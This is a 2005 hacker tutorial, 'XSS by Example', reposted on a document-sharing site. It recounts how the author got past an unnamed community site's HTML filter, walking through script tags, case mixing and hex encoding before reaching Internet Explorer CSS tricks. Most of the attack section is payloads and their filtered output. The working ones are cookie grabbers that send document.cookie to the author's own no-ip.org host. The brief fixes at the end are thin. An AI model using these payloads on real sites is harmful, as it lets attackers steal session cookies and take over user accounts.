008-XSS by Example by Netelemental

Knowledge Base Articles
Think before you ink.
XSS by Example
by NetElemental
Revision: Last Revised By: Date of Last Revision: Date of Article:
1 Pilot March 17th 2010 December 16th 2005
1|6
Table of Contents
Why this was written The objective The hack The dangers of the results The solution Resources 3 3 3 6 6 6
2|6
NOTE: -> means the continuation of the line. This saves the formatting for these boards. E.g. the following two are the same: lolcrosssitescripting lolcross ->sitescripting NOTE: IPB splits up java|script (without the |) into java script, so remember that java script actually has no space. Ok guys, recently I was able to inject JavaScript on a large site using the methods detailed in this paper. As promised, a week has passed since I finished this paper. I have reported the bug but have not checked to see if it has been fixed and have not been contacted. UNDER NO CIRCUMSTANCES WILL I DISCLOSE THE SITE'S IDENTITY. This paper uses tabs and other formatting, so for a better look check out the copy in .doc form on my site at http://netelemental.no-ip.org/XSS.doc . Please, questions and comments and criticism welcome. Hopefully this will help people new to XSS.
Why this was Written

To me cross site scripting is, apart from perhaps social engineering, the biggest threat to online communities these days. Many sites, including the undisclosed site that is used here, are vulnerable to cross site scripting. The undisclosed site shall hereby be known as victim.com. I have also, as a second goal, written this paper to alert victim.com about their security holes and how they can fix them. As I look now, the site has 109,000,000+ users and it amazes me that this flaw has not been found before. I will also be looking to create a mock up, with no resemblance to the original site, of course, that I will be releasing to the security community hackthissite.org if they want it or on my own site if they do not. By the time you are reading this, victim.com will probably have already fixed the security holes I highlight in this paper. I will be submitting this to victim.com with a week to go before I release this paper to the Internet and all of its occupants. I will only release the name of victim.com with their permission and it would be nice to have a small section, or even just a comment in the source code, stating that the site has benefited from my help
The Objective
In this example, our victim site allows you to create 'mini' communities that have their own rules, ranks, chat boards, and can have competitions and such. These communities get a small place that they can place HTML to make their community look better, and more fit the theme. For example, a community that loves dogs might use HTML to put pictures of dogs everywhere. I would also like to note at this time that this is most likely a multibug, as there are other places that you can put HTML for others to view and I suspect the site has a single security function or class. We will attempt to exploit their letting you use HTML so that we can inject JavaScript. If we can inject JavaScript, we can in fact take control of user accounts and either use JavaScript to automatically manipulate the user accounts, such as forcing the user to join the community whether they want to or not if they so much as look at the front page, or stealing the 'points' of the user by making them buy an expensive item from the user. This could also be used to redirect users to porn websites or websites that places virii, spyware, adware, or other malicious content on the user's computer.
The Hack
Ok so we know we can use HTML, but they say that they don't allow JavaScript so let's see how true that is. We start with the simple stuff first, so that means we start with the script tag. <script>alert('0wned')</script> The resulting HTML -blocked-alert('XSS')-blockedHmm so they actually do block script tags! What a surprise! Ok so next what if we can put a link that will link to some JavaScript? <a href=java script:alert('0wned')>Click Here</a> The resulting HTML -blocked-Click Here</a>
3|6
Ahh k so they filter that too. I see that they erased the entire <a> tag though so what if we put the JavaScript in an image? <img src=java script:alert('0wned') /> But wait... An error message! src tags are limited to ending in certain values! (Note: this error message has been modified to protect the identity of the original site. QUOTE Sorry! src embedded files may only end in: .mp3 .jpeg .gif .bmp .midi .wav .jpg .mid .png You may not use any form of the <src=alink> tag to embed files that end in java script:alert(0wned from the url: java script:alert(0wned Even if you didn't use 'img src', this still applies to all tags that have 'src' in them. For example, 'background src'. /QUOTE What about if we used a comment to bypass this filter? <img src=java script:alert('0wned')//.gif /> The resulting HTML -blockedOk, so now is where we begin the REAL filter evasion. What if we use CaPs to try and bypass filters that look only for same case strings? <img src=JaVa ScRiPt:alert('0wned.gif') /> The resulting HTML -blockedOk, what if we injected hex? You need a tool to do this. I recommend burp proxy, a proxy that runs on localhost:8080 that will let you view, block, and alter requests. <img src=%6a%41%76%41%73%43%72%49%70%54:alert('owned.gif') /> The resulting HTML -blockedUh oh they still got us... Let's change tacks. Let's use a DIV <DIV STYLE="background-image: url(java script:alert('0wned'))"> The resulting HTML -blockedHmm so far it seems that it looks for any tag with 'javascript' in it. What if we break it up? <DIV STYLE="background-image: url(j ava scri pt:alert('0wned'))">
4|6
Don't ask me why but this IS valid JavaScript/HTML in IE. I am using Firefox so I have to switch to IE to test this. The resulting HTML <DIV STYLE="background-image: url(j ava scri pt:alert('0wned'))"> Immediately upon seeing this I switched to IE and guess what? A message box entitled '0wned' popped up! So next step: simple, obvious cookie grabber <DIV STYLE="background-image: url(j ava scri pt:document.location='http://netelemental.noip.org/cookie.php?cookie='+document.cookie)"> The resulting HTML <DIV STYLE="background-image: url(j ava scri pt:document. location='http://netelemental.noip.org/cookie.php?cookie='&dagger;document. cookie))"> Let's try using eval to get past this. <DIV STYLE="background-image: url(j ava scri pt:eval("docu" +"ment.location='http://netelemental.no-ip.org/c.php?c=' +doc"+"ument.cookie"))"> The resulting HTML: <DIV STYLE="background-image: url(j ava scri pt:-blocked-"docu"&dagger;"ment.location='http://netelemental.no-ip.org/c.php?c=' &dagger;doc"&dagger;"ument.cookie))"> Ok so they change document AND eval so that it renders JavaScript useless while at the same time not affecting the look of a valid document.. Ok, what if we converted this to HTML hex, since it is in a CSS statement? <DIV STYLE="background-image: url(j ava scri pt:document.l ->ocation='ht ->tp://netele ->mental.no-i ->p.org/cooki ->e.php?cooki ->e='+documen ->t.cookie)">
5|6
The resulting HTML <DIV STYLE="background-image: url(j ava scri pt:document.l ->ocation='ht ->tp://netele ->mental.no-i ->p.org/cooki ->e.php?cooki ->e='+documen ->t.cookie)"> Guess what? We have the cookie! I have tried and it works. Now you can simply use your knowledge of JavaScript to do anything you want. Since I have also found another way to do this, I will go ahead and disclose it. <DIV STYLE="width: expression(document. ->location='h ->ttp://netel ->emental.no- ->ip.org/cook ->ie.php?cook ->ie='+docume ->nt.cookie)"> The resulting HTML <DIV STYLE="width: expression(document. ->location='h ->ttp://netel ->emental.no- ->ip.org/cook ->ie.php?cook ->ie='+docume ->nt.cookie)">
The Dangers of the Results

Here you can see that once injected, JavaScript can steal a user's cookies which means that the attacker can 'log in' as the user by masquerading those cookies as the attacker's own. Especially if an admin got their cookies stolen, this is a huge danger to the site. It cannot compromise the server, but it can compromise any user account that can be lured into viewing that page. Also functions such as document.forms[x].submit() can force the user to change settings or perform actions they do not want to. An attacker that really wanted full control could even use AJAX to mimic ANY action that the user could perform.
The Solution
Simple. Simply alter the filter to convert such HTML hex back into ASCII, and continue applying normal filters. Also put extra filters on CSS so that CSS can't be a source of problems in the future, EX make sure only certain CSS tags are used. Better yet, create your own style markup language to disallow unwanted tags. Another, GREAT solution is to force you users to use a web browser other than Internet Explorer. Please notice that these XSS exploits work ONLY in IE.
Resources
http://centricle.com/tools/ascii-hex/ //A great ASCII-Hex Conversion Tool http://ha.ckers.org/xss.html //THE guide to XSS, small examples, thousands (not literally) //The place to go to learn more XSS
6|6

008-XSS by Example by Netelemental

Hochgeladen von

Dokumentinformationen

Originalbeschreibung:

Copyright

Verfügbare Formate

Dieses Dokument teilen

Dokument teilen oder einbetten

Freigabeoptionen

Stufen Sie dieses Dokument als nützlich ein?

Sind diese Inhalte unangemessen?

Copyright:

Verfügbare Formate

008-XSS by Example by Netelemental

Hochgeladen von

Copyright:

Verfügbare Formate

Knowledge Base Articles

Think before you ink.

Revision: Last Revised By: Date of Last Revision: Date of Article:

1 Pilot March 17th 2010 December 16th 2005

Why this was Written

The Dangers of the Results

Das könnte Ihnen auch gefallen